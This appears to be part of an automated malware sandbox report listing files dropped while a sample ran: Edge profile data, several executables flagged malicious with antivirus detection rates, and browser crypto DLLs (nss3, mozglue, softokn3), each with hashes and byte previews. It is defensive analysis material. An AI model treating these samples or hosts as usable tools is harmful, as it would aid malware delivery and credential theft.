Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	data
Category:	dropped
Size (bytes):	280
Entropy (8bit):	4.16517681506792
Encrypted:	false
SSDEEP:	3:FiWWltlrPYjpVjP9M4UcLH3RvwAH/llwBVP/Sh/Jzv/jSIHmsdJEU9VUn5lt:o1rPWVjWZq3RvtNlwBVsJDL7b/3U7
MD5:	C847567DEE0317368C1EC824DE025887
SHA1:	554098F22FEA9282FE1AAB35560849CD6FF546B1
SHA-256:	3CF2B1CBE4F4CCFC640BCF581FD4D9FC84254D2B3839C96EA4909B61AAF28932
SHA-512:	A976744405F6ABEBFB7513A3A6A776680334BB94A9E52AEEFE2B05259BCB3CF9781B1CCDA3655D8AA4C1E923143168F29EF3208F81ABCB93AFF5215ED3798219
Malicious:	false
Preview:	sdPC.....................!...W.F....+F."xDkc0HT9c2ekfj/3J+6x4yELW+Knys1OtBnWqRtJUmw="..................................................................................47DEQpj8HBSa+/TImW+5JCeuQeRkm5NMpJWZG3hSuFU=....................8889edf7-b09d-4a45-9ea5-adabbfd01bb9............

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Last Version

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	13
Entropy (8bit):	2.7192945256669794
Encrypted:	false
SSDEEP:	3:NYLFRQI:ap2I
MD5:	BF16C04B916ACE92DB941EBB1AF3CB18
SHA1:	FA8DAEAE881F91F61EE0EE21BE5156255429AA8A
SHA-256:	7FC23C9028A316EC0AC25B09B5B0D61A1D21E58DFCF84C2A5F5B529129729098
SHA-512:	F0B7DF5517596B38D57C57B5777E008D6229AB5B1841BBE74602C77EEA2252BF644B8650C7642BD466213F62E15CC7AB5A95B28E26D3907260ED1B96A74B65FB
Malicious:	false
Preview:	117.0.2045.47

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Local State (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	56066
Entropy (8bit):	6.103048901370972
Encrypted:	false
SSDEEP:	1536:z/Ps+wsI7ynUPGWv/sxtw77VLyMV/YoskFoz:z/0+zI7yngv/4KnVeZoskG
MD5:	B98B3F75DF04D28C89155B04D576E353
SHA1:	9C530DAB2F6543C9AB2975C0E375EFD4934B71B6
SHA-256:	BE7E57E5DEBEEB044F674F8AF9CF4DC50FE30C61AC2AC78E602957F78990C975
SHA-512:	A53C8262D44229AEA93B9F5BEAC9E2B8478ED6F46CF5C6A4F8DC2D7704295D539424C4BB1AB7CB4A58C6C2BA857968674B6F7CE4CB31E27D527D7B3C9B597359
Malicious:	false
Preview:	{"abusive_adblocker_etag":"\"229EC35087C81534A88F41A12F3A505F330A0BE57C43F6CEB29F4718042EFC4F\"","desktop_mode":{"clear_prefs_once_applied":true,"is_on":false,"is_on_by_default_applied":true,"is_search_only_on_by_default_applied":true},"domain_actions_config":"H4sIAAAAAAAAAL19a4/cNpboXzH60+4gRbvbrzj7aTbj2Ql2MhlkswhwF4MGRVISWxQp81FVqkH++z2HUrXbLkndh51dBHba1XX4PDzvxz+v+P76VjipxG2teExe3YpWie7W7ZX3Wqqr7/55xYfBaMGjdjZcffc/8wdK3g4OPh+vvrv6aYg/pXj1zZV0PdcWPrEq1kYfmXD91W/fUEBCTFK7MEH+45urDKHVNLPlvXoIHMcB//3H/fX3uIk/T3v4HrcwfweHgL0EWPzVd9e/fXMlZE/dnTXjx+Pggvq74ePPisvx4bqD0bbZ2Og99K8w415b9RA4usTivgSy50f4WTHYRQE0r0TxkvcMIVQpvOHvmY4lkMdaWx3H0okPPIoWVi/cFl5uDqEbWICCMbxrAKlKh6lMUiL5PY4UWn5ggpcM0yp8Ynv4jYve2dLVCA978oD/ouXWKlM6jo08toiSpffjDoNXQdkYBpOKD3ffHgufVJtMKp0Vvs4+JS06uJShdJA/6dD+0Y6HVnm1TQAXSdJMDfEjnz/CJVxAPJh4Brj/5JJYZtZAI5d/gW/+WP9F7UWmyTTSsQFstY3KSrd5MJfw8x4ffriwzR5P5lZboOXq2cwPcaHxvO+5N1vU6gKw18K74OqIVMGrwcGWi+B3/fhgiJ2sSYzY4W5ZcE8FcFZJr/eKGfyLMJOray0KIOCL4cFk21LCwm0jIsXbWhuge7fO3sKot+GggT0

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Local State~RF2407a.TMP (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	56066
Entropy (8bit):	6.103048901370972
Encrypted:	false
SSDEEP:	1536:z/Ps+wsI7ynUPGWv/sxtw77VLyMV/YoskFoz:z/0+zI7yngv/4KnVeZoskG
MD5:	B98B3F75DF04D28C89155B04D576E353
SHA1:	9C530DAB2F6543C9AB2975C0E375EFD4934B71B6
SHA-256:	BE7E57E5DEBEEB044F674F8AF9CF4DC50FE30C61AC2AC78E602957F78990C975
SHA-512:	A53C8262D44229AEA93B9F5BEAC9E2B8478ED6F46CF5C6A4F8DC2D7704295D539424C4BB1AB7CB4A58C6C2BA857968674B6F7CE4CB31E27D527D7B3C9B597359
Malicious:	false
Preview:	{"abusive_adblocker_etag":"\"229EC35087C81534A88F41A12F3A505F330A0BE57C43F6CEB29F4718042EFC4F\"","desktop_mode":{"clear_prefs_once_applied":true,"is_on":false,"is_on_by_default_applied":true,"is_search_only_on_by_default_applied":true},"domain_actions_config":"H4sIAAAAAAAAAL19a4/cNpboXzH60+4gRbvbrzj7aTbj2Ql2MhlkswhwF4MGRVISWxQp81FVqkH++z2HUrXbLkndh51dBHba1XX4PDzvxz+v+P76VjipxG2teExe3YpWie7W7ZX3Wqqr7/55xYfBaMGjdjZcffc/8wdK3g4OPh+vvrv6aYg/pXj1zZV0PdcWPrEq1kYfmXD91W/fUEBCTFK7MEH+45urDKHVNLPlvXoIHMcB//3H/fX3uIk/T3v4HrcwfweHgL0EWPzVd9e/fXMlZE/dnTXjx+Pggvq74ePPisvx4bqD0bbZ2Og99K8w415b9RA4usTivgSy50f4WTHYRQE0r0TxkvcMIVQpvOHvmY4lkMdaWx3H0okPPIoWVi/cFl5uDqEbWICCMbxrAKlKh6lMUiL5PY4UWn5ggpcM0yp8Ynv4jYve2dLVCA978oD/ouXWKlM6jo08toiSpffjDoNXQdkYBpOKD3ffHgufVJtMKp0Vvs4+JS06uJShdJA/6dD+0Y6HVnm1TQAXSdJMDfEjnz/CJVxAPJh4Brj/5JJYZtZAI5d/gW/+WP9F7UWmyTTSsQFstY3KSrd5MJfw8x4ffriwzR5P5lZboOXq2cwPcaHxvO+5N1vU6gKw18K74OqIVMGrwcGWi+B3/fhgiJ2sSYzY4W5ZcE8FcFZJr/eKGfyLMJOray0KIOCL4cFk21LCwm0jIsXbWhuge7fO3sKot+GggT0

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Local State~RF24089.TMP (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	56066
Entropy (8bit):	6.103048901370972
Encrypted:	false
SSDEEP:	1536:z/Ps+wsI7ynUPGWv/sxtw77VLyMV/YoskFoz:z/0+zI7yngv/4KnVeZoskG
MD5:	B98B3F75DF04D28C89155B04D576E353
SHA1:	9C530DAB2F6543C9AB2975C0E375EFD4934B71B6
SHA-256:	BE7E57E5DEBEEB044F674F8AF9CF4DC50FE30C61AC2AC78E602957F78990C975
SHA-512:	A53C8262D44229AEA93B9F5BEAC9E2B8478ED6F46CF5C6A4F8DC2D7704295D539424C4BB1AB7CB4A58C6C2BA857968674B6F7CE4CB31E27D527D7B3C9B597359
Malicious:	false
Preview:	{"abusive_adblocker_etag":"\"229EC35087C81534A88F41A12F3A505F330A0BE57C43F6CEB29F4718042EFC4F\"","desktop_mode":{"clear_prefs_once_applied":true,"is_on":false,"is_on_by_default_applied":true,"is_search_only_on_by_default_applied":true},"domain_actions_config":"H4sIAAAAAAAAAL19a4/cNpboXzH60+4gRbvbrzj7aTbj2Ql2MhlkswhwF4MGRVISWxQp81FVqkH++z2HUrXbLkndh51dBHba1XX4PDzvxz+v+P76VjipxG2teExe3YpWie7W7ZX3Wqqr7/55xYfBaMGjdjZcffc/8wdK3g4OPh+vvrv6aYg/pXj1zZV0PdcWPrEq1kYfmXD91W/fUEBCTFK7MEH+45urDKHVNLPlvXoIHMcB//3H/fX3uIk/T3v4HrcwfweHgL0EWPzVd9e/fXMlZE/dnTXjx+Pggvq74ePPisvx4bqD0bbZ2Og99K8w415b9RA4usTivgSy50f4WTHYRQE0r0TxkvcMIVQpvOHvmY4lkMdaWx3H0okPPIoWVi/cFl5uDqEbWICCMbxrAKlKh6lMUiL5PY4UWn5ggpcM0yp8Ynv4jYve2dLVCA978oD/ouXWKlM6jo08toiSpffjDoNXQdkYBpOKD3ffHgufVJtMKp0Vvs4+JS06uJShdJA/6dD+0Y6HVnm1TQAXSdJMDfEjnz/CJVxAPJh4Brj/5JJYZtZAI5d/gW/+WP9F7UWmyTTSsQFstY3KSrd5MJfw8x4ffriwzR5P5lZboOXq2cwPcaHxvO+5N1vU6gKw18K74OqIVMGrwcGWi+B3/fhgiJ2sSYzY4W5ZcE8FcFZJr/eKGfyLMJOray0KIOCL4cFk21LCwm0jIsXbWhuge7fO3sKot+GggT0

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Local State~RF24d6a.TMP (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	56066
Entropy (8bit):	6.103048901370972
Encrypted:	false
SSDEEP:	1536:z/Ps+wsI7ynUPGWv/sxtw77VLyMV/YoskFoz:z/0+zI7yngv/4KnVeZoskG
MD5:	B98B3F75DF04D28C89155B04D576E353
SHA1:	9C530DAB2F6543C9AB2975C0E375EFD4934B71B6
SHA-256:	BE7E57E5DEBEEB044F674F8AF9CF4DC50FE30C61AC2AC78E602957F78990C975
SHA-512:	A53C8262D44229AEA93B9F5BEAC9E2B8478ED6F46CF5C6A4F8DC2D7704295D539424C4BB1AB7CB4A58C6C2BA857968674B6F7CE4CB31E27D527D7B3C9B597359
Malicious:	false
Preview:	{"abusive_adblocker_etag":"\"229EC35087C81534A88F41A12F3A505F330A0BE57C43F6CEB29F4718042EFC4F\"","desktop_mode":{"clear_prefs_once_applied":true,"is_on":false,"is_on_by_default_applied":true,"is_search_only_on_by_default_applied":true},"domain_actions_config":"H4sIAAAAAAAAAL19a4/cNpboXzH60+4gRbvbrzj7aTbj2Ql2MhlkswhwF4MGRVISWxQp81FVqkH++z2HUrXbLkndh51dBHba1XX4PDzvxz+v+P76VjipxG2teExe3YpWie7W7ZX3Wqqr7/55xYfBaMGjdjZcffc/8wdK3g4OPh+vvrv6aYg/pXj1zZV0PdcWPrEq1kYfmXD91W/fUEBCTFK7MEH+45urDKHVNLPlvXoIHMcB//3H/fX3uIk/T3v4HrcwfweHgL0EWPzVd9e/fXMlZE/dnTXjx+Pggvq74ePPisvx4bqD0bbZ2Og99K8w415b9RA4usTivgSy50f4WTHYRQE0r0TxkvcMIVQpvOHvmY4lkMdaWx3H0okPPIoWVi/cFl5uDqEbWICCMbxrAKlKh6lMUiL5PY4UWn5ggpcM0yp8Ynv4jYve2dLVCA978oD/ouXWKlM6jo08toiSpffjDoNXQdkYBpOKD3ffHgufVJtMKp0Vvs4+JS06uJShdJA/6dD+0Y6HVnm1TQAXSdJMDfEjnz/CJVxAPJh4Brj/5JJYZtZAI5d/gW/+WP9F7UWmyTTSsQFstY3KSrd5MJfw8x4ffriwzR5P5lZboOXq2cwPcaHxvO+5N1vU6gKw18K74OqIVMGrwcGWi+B3/fhgiJ2sSYzY4W5ZcE8FcFZJr/eKGfyLMJOray0KIOCL4cFk21LCwm0jIsXbWhuge7fO3sKot+GggT0

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Variations

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	85
Entropy (8bit):	4.3488360343066725
Encrypted:	false
SSDEEP:	3:YQ3JYq9xSs0dMEJAELJ25AmIpozQp:YQ3Kq9X0dMgAEiLIj
MD5:	8549C255650427D618EF18B14DFD2B56
SHA1:	8272585186777B344DB3960DF62B00F570D247F6
SHA-256:	40395D9CA4B65D48DEAC792844A77D4F8051F1CEF30DF561DACFEEED3C3BAE13
SHA-512:	E5BB8A0AD338372635C3629E306604E3DC5A5C26FB5547A3DD7E404E5261630612C07326E7EBF5B47ABAFADE8E555965A1A59A1EECFC496DCDD5003048898A8C
Malicious:	false
Preview:	{"user_experience_metrics.stability.exited_cleanly":true,"variations_crash_streak":1}

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\f10f0e72-d042-4a65-9e9b-5411355b4ab6.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	56066
Entropy (8bit):	6.103048901370972
Encrypted:	false
SSDEEP:	1536:z/Ps+wsI7ynUPGWv/sxtw77VLyMV/YoskFoz:z/0+zI7yngv/4KnVeZoskG
MD5:	B98B3F75DF04D28C89155B04D576E353
SHA1:	9C530DAB2F6543C9AB2975C0E375EFD4934B71B6
SHA-256:	BE7E57E5DEBEEB044F674F8AF9CF4DC50FE30C61AC2AC78E602957F78990C975
SHA-512:	A53C8262D44229AEA93B9F5BEAC9E2B8478ED6F46CF5C6A4F8DC2D7704295D539424C4BB1AB7CB4A58C6C2BA857968674B6F7CE4CB31E27D527D7B3C9B597359
Malicious:	false
Preview:	{"abusive_adblocker_etag":"\"229EC35087C81534A88F41A12F3A505F330A0BE57C43F6CEB29F4718042EFC4F\"","desktop_mode":{"clear_prefs_once_applied":true,"is_on":false,"is_on_by_default_applied":true,"is_search_only_on_by_default_applied":true},"domain_actions_config":"H4sIAAAAAAAAAL19a4/cNpboXzH60+4gRbvbrzj7aTbj2Ql2MhlkswhwF4MGRVISWxQp81FVqkH++z2HUrXbLkndh51dBHba1XX4PDzvxz+v+P76VjipxG2teExe3YpWie7W7ZX3Wqqr7/55xYfBaMGjdjZcffc/8wdK3g4OPh+vvrv6aYg/pXj1zZV0PdcWPrEq1kYfmXD91W/fUEBCTFK7MEH+45urDKHVNLPlvXoIHMcB//3H/fX3uIk/T3v4HrcwfweHgL0EWPzVd9e/fXMlZE/dnTXjx+Pggvq74ePPisvx4bqD0bbZ2Og99K8w415b9RA4usTivgSy50f4WTHYRQE0r0TxkvcMIVQpvOHvmY4lkMdaWx3H0okPPIoWVi/cFl5uDqEbWICCMbxrAKlKh6lMUiL5PY4UWn5ggpcM0yp8Ynv4jYve2dLVCA978oD/ouXWKlM6jo08toiSpffjDoNXQdkYBpOKD3ffHgufVJtMKp0Vvs4+JS06uJShdJA/6dD+0Y6HVnm1TQAXSdJMDfEjnz/CJVxAPJh4Brj/5JJYZtZAI5d/gW/+WP9F7UWmyTTSsQFstY3KSrd5MJfw8x4ffriwzR5P5lZboOXq2cwPcaHxvO+5N1vU6gKw18K74OqIVMGrwcGWi+B3/fhgiJ2sSYzY4W5ZcE8FcFZJr/eKGfyLMJOray0KIOCL4cFk21LCwm0jIsXbWhuge7fO3sKot+GggT0

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\ATCVA5TX\random[1].exe

Download File

Process:	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe
File Type:	PE32 executable (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	1853440
Entropy (8bit):	7.946657423670568
Encrypted:	false
SSDEEP:	49152:tLixOHn/vHVcO2ZvbTVuNeCr1bHMQSzHJuVHReOIBtUhWeqM:YGvitvbwNeCBDZS79/sWzM
MD5:	B952F0B56D2A88FC5F6C940C02819CB5
SHA1:	E5466EB9DA04FFEA50096D2580BCC3538F393157
SHA-256:	0BBDECF888463899AFFFC3CEAB9E64B889DB42D8E03DD322CBD7F28D1F65B320
SHA-512:	E37C982E778350FA9BA99BC61AD209D04FDCA9DAE886DB1AA5F7A59E0D8503BF6CA1DAD931D371466DF36CF327177DE68ED360977025D1CB55F73834C7CCC6C6
Malicious:	true
Antivirus:	Antivirus: Avira, Detection: 100% Antivirus: Avira, Detection: 100% Antivirus: Avira, Detection: 100% Antivirus: Joe Sandbox ML, Detection: 100% Antivirus: Joe Sandbox ML, Detection: 100% Antivirus: Joe Sandbox ML, Detection: 100% Antivirus: ReversingLabs, Detection: 34%
Preview:	MZx.....................@...................................x...........!..L.!This program cannot be run in DOS mode.$..PE..L...b.Pg.............................`I...........@...........................I...........@.................................\0..p.... .......................1...................................................................................... . .........2..................@....rsrc........ .......B..............@....idata .....0.......F..............@... .0*..@.......H..............@...xjzjhlyk.....p/......J..............@...hglpilhu.....PI......"..............@....taggant.0...`I.."...&..............@...................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\BEDT2L3A\random[1].exe

Download File

Process:	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe
File Type:	PE32 executable (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	1786880
Entropy (8bit):	7.945522890925645
Encrypted:	false
SSDEEP:	49152:2ws6ayMsc8xJW79bKk8AN3K98PUxzP8+rGP:2ws6ayMmTymLs2xb82
MD5:	DEFDF92BE6053F805B80FFCF7850F3E3
SHA1:	D606C6240AFCF6A8ED74DF4406B51987C310559C
SHA-256:	AA1FA0262E58FAD0A03E9EE2DD446082E377B1E4F3317F74A70F81F84E217042
SHA-512:	BD6FB0B5134115A214E602A49279507599CE3D70A17671D1E6867F3FCCEE03F5F687B534276E2A5449F3C5394E4E25B8C9D5A93E0AF3E88E47AB63D82A9DFF6D
Malicious:	true
Antivirus:	Antivirus: ReversingLabs, Detection: 45%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$....... ...d..d..d....s.\|....F.i....r.^..m.[.g..m.K.b....g..d.......w.w....E.e..Richd..........PE..L....dTg.....................(........h...........@...........................h...........@.................................M.$.a.....$.......................$..................................................................................... . ..$......h..................@....rsrc.........$......x..............@....idata ......$......z..............@... . *...$......\|..............@...adtgofcj......N......~..............@...xgzatmop......h.....................@....taggant.0....h.."..."..............@...................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\FGDLZ049\Ed7zZr4[1].exe

Download File

Process:	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe
File Type:	PE32+ executable (GUI) x86-64, for MS Windows
Category:	dropped
Size (bytes):	4269056
Entropy (8bit):	5.07546951914394
Encrypted:	false
SSDEEP:	49152:Xl4UjB0jUu8Xywd2qeDScrUXVIqWLskA:14UjKgufA
MD5:	399B2859420738500EB977F816FE61E1
SHA1:	3136C6CE4DE53EE344F51D99606BDD68B2116767
SHA-256:	C611FE9B5AE81CC5CCE3C7F428D98E082898EE4E76C8566100AC41527E4C9A18
SHA-512:	1BFA955FC301EE63D3B5BFBCEA2E9BD9D9DF8FF01ED634E6B6EB01B287CAC437D08AF9D4E61DA21D2FD3ECC3297A8CF1C2F514CB0E178B63BE65E366991DA086
Malicious:	true
Antivirus:	Antivirus: Joe Sandbox ML, Detection: 100% Antivirus: ReversingLabs, Detection: 47%
Preview:	MZx.....................@...................................x...........!..L.!This program cannot be run in DOS mode.$..PE..d...r_@g.........."...........9................@..............................A...........`...................................................?.P.....A.......@..e............A...............................>.(....`..@.............?..............................text............................... ..`.rdata....8.......8.................@..@.data....6...p@......V@.............@....pdata...e....@..f...r@.............@..@.00cfg..8.... A.......@.............@..@.gxfg...."...0A.."....@.............@..@.retplne.....`A.......@..................tls.........pA.......@.............@..._RDATA........A.......A.............@..@.rsrc.........A.......A.............@..@.reloc........A.. ....A.............@..B................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\FGDLZ049\freebl3[1].dll

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	PE32 executable (DLL) (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	685392
Entropy (8bit):	6.872871740790978
Encrypted:	false
SSDEEP:	12288:4gPbPpxMofhPNN0+RXBrp3M5pzRN4l2SQ+PEu9tUs/abAQb51FW/IzkOfWPO9UN7:4gPbPp9NNP0BgInfW2WMC4M+hW
MD5:	550686C0EE48C386DFCB40199BD076AC
SHA1:	EE5134DA4D3EFCB466081FB6197BE5E12A5B22AB
SHA-256:	EDD043F2005DBD5902FC421EABB9472A7266950C5CBACA34E2D590B17D12F5FA
SHA-512:	0B7F47AF883B99F9FBDC08020446B58F2F3FA55292FD9BC78FC967DD35BDD8BD549802722DE37668CC89EDE61B20359190EFBFDF026AE2BDC854F4740A54649E
Malicious:	true
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZx.....................@...................................x...........!..L.!This program cannot be run in DOS mode.$..PE..L....4.c.........."!.........4......p.....................................................@A........................H...S...............x............F..P/.......#................................... ..................@............................text............................... ..`.rdata....... ......................@..@.data...<F...0......................@....00cfg..............................@..@.rsrc...x...........................@..@.reloc...#.......$..."..............@..B........................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\FGDLZ049\mozglue[1].dll

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	PE32 executable (DLL) (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	608080
Entropy (8bit):	6.833616094889818
Encrypted:	false
SSDEEP:	12288:BlSyAom/gcRKMdRm4wFkRHuyG4RRGJVDjMk/x21R8gY/r:BKgcRKMdRm4wFkVVDGJVv//x21R8br
MD5:	C8FD9BE83BC728CC04BEFFAFC2907FE9
SHA1:	95AB9F701E0024CEDFBD312BCFE4E726744C4F2E
SHA-256:	BA06A6EE0B15F5BE5C4E67782EEC8B521E36C107A329093EC400FE0404EB196A
SHA-512:	FBB446F4A27EF510E616CAAD52945D6C9CC1FD063812C41947E579EC2B54DF57C6DC46237DED80FCA5847F38CBE1747A6C66A13E2C8C19C664A72BE35EB8B040
Malicious:	true
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZx.....................@...................................x...........!..L.!This program cannot be run in DOS mode.$..PE..L....4.c.........."!.........^......................................................j.....@A.........................`...W.....,.... ..................P/...0...A...S..............................h.......................Z.......................text...a........................... ..`.rdata..............................@..@.data...D...........................@....00cfg..............................@..@.tls................................@....rsrc........ ......................@..@.reloc...A...0...B..................@..B................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\FGDLZ049\msvcp140[1].dll

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	PE32 executable (DLL) (console) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	450024
Entropy (8bit):	6.673992339875127
Encrypted:	false
SSDEEP:	12288:McPa9C9VbL+3Omy5CvyOvzeOKdqhUgiW6QR7t5s03Ooc8dHkC2esGAWf:McPa90Vbky5CvyUeOKn03Ooc8dHkC2eN
MD5:	5FF1FCA37C466D6723EC67BE93B51442
SHA1:	34CC4E158092083B13D67D6D2BC9E57B798A303B
SHA-256:	5136A49A682AC8D7F1CE71B211DE8688FCE42ED57210AF087A8E2DBC8A934062
SHA-512:	4802EF62630C521D83A1D333969593FB00C9B38F82B4D07F70FBD21F495FEA9B3F67676064573D2C71C42BC6F701992989742213501B16087BB6110E337C7546
Malicious:	false
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$........1C.._..._..._.)n...._......._...^."._..^..._..\..._..[..._..Z..._.._..._......_..]..._.Rich.._.........................PE..L.....0].........."!.....(..........`........@......................................,.....@A.........................g.......r...........................A.......=..`x..8............................w..@............p.......c..@....................text....&.......(.................. ..`.data...H)...@.......,..............@....idata.......p.......D..............@..@.didat..4............X..............@....rsrc................Z..............@..@.reloc...=.......>...^..............@..B................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\FGDLZ049\nss3[1].dll

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	PE32 executable (DLL) (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	2046288
Entropy (8bit):	6.787733948558952
Encrypted:	false
SSDEEP:	49152:fECf12gikHlnKGxJRIB+y5nvxnaOSJ3HFNWYrVvE4CQsgzMmQfTU1NrWmy4KoAzh:J7Tf8J1Q+SS5/nr
MD5:	1CC453CDF74F31E4D913FF9C10ACDDE2
SHA1:	6E85EAE544D6E965F15FA5C39700FA7202F3AAFE
SHA-256:	AC5C92FE6C51CFA742E475215B83B3E11A4379820043263BF50D4068686C6FA5
SHA-512:	DD9FF4E06B00DC831439BAB11C10E9B2AE864EA6E780D3835EA7468818F35439F352EF137DA111EFCDF2BB6465F6CA486719451BF6CF32C6A4420A56B1D64571
Malicious:	true
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZx.....................@...................................x...........!..L.!This program cannot be run in DOS mode.$..PE..L....4.c.........."!................`........................................p......l- ...@A.........................&..........@....P..x...............P/...`..\...................................................\|...\....&..@....................text............................... ..`.rdata..l...........................@..@.data...DR..........................@....00cfg.......@......................@..@.rsrc...x....P......................@..@.reloc..\....`......................@..B........................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\FGDLZ049\random[1].exe

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	PE32 executable (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	3294720
Entropy (8bit):	6.649281133720551
Encrypted:	false
SSDEEP:	49152:onLgOLpu/qsnCZ2MAGbmpk2r65AJShC6h/4hFhmJ6f:oLDLJsnCZ2MAGbmpk4SZhuFqu
MD5:	A359D8B520114D92895E10CFED863537
SHA1:	8CC5FEB43DC5096488CDC695C2AAEA7DFC3CF3A3
SHA-256:	5EAF7A84BAADE9EEDD02B65453EE46F0524B16755C790DEF5F56A02CA41B1E51
SHA-512:	5A2EC5EC4C7C4769A9307B369E4777BC4F5273A6D1D09069F33F6C3C043509A003E64E6A6E846DC87340BAE3ABDFAEBD76ED6CC40FAABE2D7666477FF83FDC73
Malicious:	true
Antivirus:	Antivirus: Avira, Detection: 100% Antivirus: Joe Sandbox ML, Detection: 100%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.........-I..C...C...C...@...C...F.B.C.6.G...C.6.@...C.6.F...C...G...C...B...C...B.5.C.x.J...C.x.....C.x.A...C.Rich..C.........................PE..L....V.f.............................P2...........@...........................2.......2...@.................................W...k............................82..............................72..................................................... . ............................@....rsrc...............................@....idata ............................@...oxusnhxb..+.......+.................@...orzkidtw.....@2...... 2.............@....taggant.0...P2.."...$2.............@...........................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\FGDLZ049\softokn3[1].dll

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	PE32 executable (DLL) (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	257872
Entropy (8bit):	6.727482641240852
Encrypted:	false
SSDEEP:	6144:/yF/zX2zfRkU62THVh/T2AhZxv6A31obD6Hq/8jis+FvtVRpsAAs0o8OqTYz+xnU:/yRzX2zfRkX2T1h/SA5PF9m8jJqKYz+y
MD5:	4E52D739C324DB8225BD9AB2695F262F
SHA1:	71C3DA43DC5A0D2A1941E874A6D015A071783889
SHA-256:	74EBBAC956E519E16923ABDC5AB8912098A4F64E38DDCB2EAE23969F306AFE5A
SHA-512:	2D4168A69082A9192B9248F7331BD806C260478FF817567DF54F997D7C3C7D640776131355401E4BDB9744E246C36D658CB24B18DE67D8F23F10066E5FE445F6
Malicious:	true
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZx.....................@...................................x...........!..L.!This program cannot be run in DOS mode.$..PE..L....4.c.........."!................P...............................................Sg....@A........................Dv..S....w..........................P/.......5..8q...............................................{...............................text...&........................... ..`.rdata.............................@..@.data................\|..............@....00cfg..............................@..@.rsrc...............................@..@.reloc...5.......6..................@..B........................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\FGDLZ049\vcruntime140[1].dll

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	PE32 executable (DLL) (console) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	80880
Entropy (8bit):	6.920480786566406
Encrypted:	false
SSDEEP:	1536:lw2886xv555et/MCsjw0BuRK3jteo3ecbA2W86b+Ld:lw28V55At/zqw+Iq9ecbA2W8H
MD5:	A37EE36B536409056A86F50E67777DD7
SHA1:	1CAFA159292AA736FC595FC04E16325B27CD6750
SHA-256:	8934AAEB65B6E6D253DFE72DEA5D65856BD871E989D5D3A2A35EDFE867BB4825
SHA-512:	3A7C260646315CF8C01F44B2EC60974017496BD0D80DD055C7E43B707CADBA2D63AAB5E0EFD435670AA77886ED86368390D42C4017FC433C3C4B9D1C47D0F356
Malicious:	false
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$......................08e...................................................u............Rich............PE..L...\|.0].........."!.........................................................0.......m....@A.............................................................A... ....... ..8............................ ..@............................................text............................... ..`.data...............................@....idata..............................@..@.rsrc...............................@..@.reloc....... ......................@..B................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\W1DLB4AP\json[1].json

Download File

Process:	C:\Users\user\Desktop\file.exe
